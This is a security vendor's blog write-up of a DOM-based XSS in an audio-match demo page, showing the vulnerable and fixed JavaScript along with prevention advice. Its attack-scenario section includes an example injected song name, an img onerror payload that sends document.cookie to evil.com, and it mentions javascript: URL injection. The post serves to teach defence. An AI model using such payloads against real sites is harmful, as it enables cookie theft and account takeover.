Back to Blog
high SEVERITY5 min read

How DOM-based Cross-Site Scripting happens in JavaScript and how to fix it

A high-severity DOM-based XSS vulnerability in `public/audio_match_demo/index.html` allowed attackers to inject malicious JavaScript through manipulated song metadata from API responses. The fix replaces dangerous HTML string concatenation with secure DOM API methods that automatically escape content.

O
By Orbis AppSec
•Technically reviewed by Anupam Mediratta•Published August 31, 2026•Reviewed August 31, 2026

Answer Summary

DOM-based Cross-Site Scripting (XSS) in JavaScript occurs when untrusted data is rendered into HTML using innerHTML or similar string-based methods without sanitization. In this case, `public/audio_match_demo/index.html` at line 246 concatenated API response data (`song.song.name`, `song.song.album.name`) directly into HTML anchor tags. CWE-79. The fix uses `document.createElement()`, `textContent`, and `encodeURIComponent()` to safely construct DOM nodes without HTML parsing, preventing script injection.

Vulnerability at a Glance

cweCWE-79
fixReplaced HTML string concatenation with secure DOM API methods (createElement, textContent, encodeURIComponent)
riskRemote code execution via malicious JavaScript injection through manipulated API responses
languageJavaScript (Browser)
root causeAPI response data concatenated into HTML strings using template literals without escaping
vulnerabilityDOM-based Cross-Site Scripting (XSS)

How DOM-based Cross-Site Scripting happens in JavaScript and how to fix it

Introduction

The public/audio_match_demo/index.html file powers an interactive music recognition demo that displays song matches from a backend API. When users receive search results, the application renders each matched song as a clickable link to NetEase Music. However, the original implementation at lines 255-258 constructed these links through dangerous string concatenation, creating a high-severity DOM-based XSS vulnerability that could execute attacker-controlled JavaScript in users' browsers.

The vulnerable code directly interpolated API response fields—song.song.name, song.song.album.name, and song.song.id—into HTML strings without any sanitization. Since this API returns metadata from external music databases, an attacker who could influence that data (through supply chain compromise, cache poisoning, or upstream data manipulation) could inject malicious payloads that execute immediately when rendered.

The Vulnerability Explained

The problematic code pattern was found in the result rendering loop:

// VULNERABLE CODE (lines 255-258)
for (var song of resp.data.result) {
  logs.write(
    `[result] <a target="_blank" href="https://music.163.com/song?id=${song.song.id}">${song.song.name} - ${song.song.album.name} (${song.startTime / 1000}s)</a>`
  )
}

Why this is dangerous: The logs.write() method (presumably wrapping innerHTML or similar) parses this string as HTML. Any special characters in the song name or album—such as <, >, ", ', or &—are interpreted as HTML markup rather than literal text.

Specific attack scenario: An attacker poisons the upstream music database to include a song named:

</a><img src=x onerror=fetch('https://evil.com/steal?cookie='+document.cookie)><a>

When the demo renders results containing this "song," the browser executes the injected script, exfiltrating cookies or performing actions as the victim user. The song.song.id parameter is similarly vulnerable in the href attribute, enabling JavaScript protocol injection like javascript:alert(1) or javascript:eval(...).

Real-world impact: This demo page likely runs on the same origin as production services. Successful exploitation could:
- Steal authentication tokens from document.cookie
- Perform actions on behalf of users via XMLHttpRequest or fetch()
- Deface the application or redirect users to phishing sites
- Establish persistent access through service worker registration

The Fix

The remediation replaces HTML string construction with secure DOM API usage, eliminating the HTML parser entirely for untrusted content:

// SECURE CODE (lines 258-265)
for (var song of resp.data.result) {
  var a = document.createElement('a');
  a.href = 'https://music.163.com/song?id=' + encodeURIComponent(song.song.id);
  a.target = '_blank';
  a.textContent = song.song.name + ' - ' + song.song.album.name + ' (' + (song.startTime / 1000) + 's)';
  logs.appendChild(document.createTextNode('[result] '));
  logs.appendChild(a);
  logs.appendChild(document.createElement('br'));
}

Key security improvements:

Aspect Before After
URL construction Template literal interpolation encodeURIComponent() ensures URL-safe encoding
Text content HTML string concatenation textContent property treats value as literal text, never HTML
Element creation String parsing via innerHTML document.createElement() builds DOM nodes directly
Structural elements Inline <br> in HTML string Explicit document.createElement('br')

The textContent property is the critical defense here: it automatically escapes all HTML special characters, so even if song.song.name contains <script>alert(1)</script>, it renders as visible text rather than executing. Similarly, encodeURIComponent() on song.song.id prevents javascript: protocol injection and ensures valid URL formatting.

Prevention & Best Practices

1. Prefer DOM APIs over HTML strings

When building dynamic content, use document.createElement(), element.textContent, and element.setAttribute() rather than innerHTML, outerHTML, or document.write(). This architectural choice eliminates an entire class of injection vulnerabilities by design.

2. Encode for the correct context

Different contexts require different encoding:
- HTML text content: Use textContent (automatic) or HTML entity encoding
- URL parameters: Use encodeURIComponent()
- URL paths: Use encodeURI()
- CSS values: Use CSS escaping or strict validation
- JavaScript strings: Use JSON serialization

3. Validate API responses

Treat all external data as untrusted. Implement schema validation at API boundaries to reject unexpected types, lengths, or character sets before processing.

4. Content Security Policy (CSP)

Deploy a strict CSP to mitigate residual XSS risks:

Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'none';

5. Security testing

Integrate static analysis tools that detect dangerous patterns:
- innerHTML assignments with non-literal values
- Template literal HTML construction with interpolated variables
- Unencoded URL parameter construction

Key Takeaways

  • Never concatenate API response data into HTML strings: The logs.write() pattern with template literals containing ${song.song.name} created an exploitable injection point at line 255
  • textContent is safer than innerHTML for dynamic text: The fix demonstrates that a.textContent = ... automatically neutralizes HTML metacharacters without manual escaping
  • URL parameters require encoding, not just validation: encodeURIComponent(song.song.id) prevents both injection attacks and URL parsing errors
  • DOM construction beats string templating: Building nodes with createElement(), appendChild(), and createTextNode() provides defense-in-depth against encoding mistakes
  • Client-side rendering carries client-side risk: Even "static" demo pages processing API data must implement the same security controls as production applications

How Orbis AppSec Detected This

Source: HTTP API response body containing resp.data.result array with song.song.name, song.song.album.name, and song.song.id fields

Sink: HTML string concatenation passed to logs.write() at public/audio_match_demo/index.html:255-258, which renders content via innerHTML or equivalent

Missing control: No sanitization, encoding, or validation of API response fields before DOM insertion; use of dangerous HTML string construction instead of safe DOM APIs

CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Fix: Replaced HTML string templating with secure DOM construction using document.createElement(), textContent assignment, and encodeURIComponent() for URL parameters

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

This vulnerability illustrates a common misconception: that "just displaying data from an API" is inherently safe. The audio_match_demo incident proves that any data crossing a trust boundary—from external APIs, databases, or user inputs—must be handled with appropriate security controls. The fix demonstrates that modern JavaScript provides elegant, performant alternatives to HTML string manipulation. By adopting DOM-based construction patterns as the default approach, developers can eliminate entire categories of XSS vulnerabilities while writing cleaner, more maintainable code.

References

  • CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') — https://cwe.mitre.org/data/definitions/79.html
  • OWASP Cross-Site Scripting (XSS) Prevention Cheat Sheet — https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
  • MDN: textContent vs innerHTML — https://developer.mozilla.org/en-US/docs/Web/API/Node/textContent#differences_from_innerhtml
  • MDN: encodeURIComponent() — https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/encodeURIComponent
  • Semgrep rule for dangerous innerHTML assignment — https://semgrep.dev/r?q=browser.security.insecure-document-write
  • GitHub PR: fix: the audio match demo page renders api response ... in index.html

Prevention and further reading

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #227

Related Articles

high

notice.html innerHTML Assignment in Browser Extension: CWE-79

A browser extension's content script fetched notice.html and assigned it directly to innerHTML, creating a DOM-based XSS vector if the extension package were compromised. The fix removes notice.html generation from the build process entirely and restructures the shadow DOM injection to use safe textContent assignment for styles only.

critical

fast-xml-parser 4.5.0 XSS: DOCTYPE Entity Injection in XML.parse()

fast-xml-parser versions 4.5.0 and earlier fail to sanitize DOCTYPE entity declarations during XML parsing, allowing attackers to inject JavaScript through crafted XML payloads. The vulnerability permits reflected XSS in applications that process untrusted XML input. Upgrading to version 5.7.0 eliminates the unsafe entity expansion path.

high

sanitizeBangumiHtml() XSS Fix: insertAdjacentHTML RCE via JSON

A high-severity cross-site scripting vulnerability existed where untrusted JSON data from bangumis.json was rendered directly into the DOM using insertAdjacentHTML without sanitization. An attacker who could modify this external data source could execute arbitrary JavaScript in visitors' browsers. The fix introduces a dedicated sanitizeBangumiHtml() function that strips script tags, event handlers, and javascript: URLs before insertion.

high

form.js jQuery Selector Construction: CWE-79 Quote-Breaking Fix

A defense-in-depth fix in the form.js initialization routine eliminates a jQuery selector injection vector where user-controlled category data was concatenated directly into a string literal. The vulnerable pattern at lines 47-48 of the form handler could allow malicious content to break out of the selector's quoted context and execute arbitrary jQuery methods.

high

ItemPicker `_commitTraitInput` XSS via Unescaped Trait Chip Rendering

The `_commitTraitInput` function in ItemPicker accepted arbitrary user input for trait values without sanitization, then rendered those values directly into HTML chip elements through `_updateList`. An attacker could inject malicious JavaScript payloads that executed when trait chips were displayed. The fix applies a strict whitelist filter removing all non-alphanumeric characters except spaces and hyphens.

high

formatObject() Leaves localStorage Keys Unescaped Before innerHTML

The `formatObject()` pretty-printer used to build the key-configuration storage viewer interpolated object keys and array key/value pairs directly into an HTML string that is later assigned with `innerHTML`. Only string *values* were passed through `escapeHtml()`, so a crafted key name persisted in `localStorage` could execute script every time a user opened the storage viewer. The fix wraps the index-pair branch and the object-key branch in `escapeHtml()`, keeping the raw path only for non-colo